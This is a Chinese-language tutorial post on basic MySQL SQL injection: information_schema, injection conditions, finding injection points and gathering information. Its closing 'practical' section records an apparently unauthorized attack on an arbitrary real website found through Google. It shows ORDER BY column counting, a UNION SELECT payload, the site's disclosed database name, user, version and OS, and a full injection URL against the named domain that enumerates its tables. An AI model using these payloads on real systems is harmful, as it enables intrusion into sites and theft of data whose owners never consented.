1. 程式人生 > 其它 >Sql注入之簡要注入

Sql注入之簡要注入

知識點:

1.在mysql5.0以上版本中,mysq1存在一個自帶資料庫名為

information_schema, 它是一個儲存記錄所有資料庫名, 表名,列名的資料庫,

也相當於可以通過查詢它獲取指定資料庫下面的表名或列名資訊。

  1. 資料庫中符號”.”代表下一級 例如:test.admin test資料庫下的admin表

information_schema.tables :記錄表明資訊的表

Information_schema.columna:記錄所有列名的表

table_name : 表名

columna_name:列名

table_schema:資料庫名

Group_concat (table name) 查詢所有表名

Schema :結構或組織。

Mysql注入

Sql注入原理:

通過拼接惡意程式碼帶入到資料庫進行查詢的操作

Sql注入條件:

  1. 可控變數:要有一個可以傳遞引數的變數
  2. 帶入資料庫操作:
  3. 存在過濾,或過濾不嚴謹

多引數注入

判斷注入點:

通過輸入id=1dadad 不存在的東西,如果dadad被帶入資料庫查詢 則有注入 如果沒有帶入(頁面正常顯示) 則沒有注入

有些網站對輸入的引數進行監測,如果404 或 跳轉頁面 則沒有注入

資訊收集

作業系統

資料庫名

資料庫使用者

資料庫版本

其他(網站路徑等)

資料注入

同資料庫 ()

低版本 暴力查詢

高版本 mysql5.0以上information_schema查詢

高許可權注入

常規查詢

跨庫查詢

檔案讀寫

實戰

Google瀏覽器 隨便找的一個網站

判斷是否存在注入,將引數隨便更改 id值帶入資料庫查詢 存在sql注入。

猜解列明(欄位)數 order by 為9

進行報錯猜解

id=-118 union select 1,2,3,4,5,6,7,8,9 發現 回顯點 3,4

根據上述資訊收集,進行sql注入

資料庫名字:jiuyu_jiuyu database()

資料庫使用者名稱:jiuyu@localhhost user()

資料庫版本為:5.7.34 version()

作業系統:linux @@version_compile_os

查詢指定資料庫下的表名資訊

http://www.diffuser.com.tw/page.php?id=-118unionselect1,2,table_name,4,5,6,7,8,9frominformation_schema.tableswheretable_schema=’jiuyu_jiuyu’

到此為止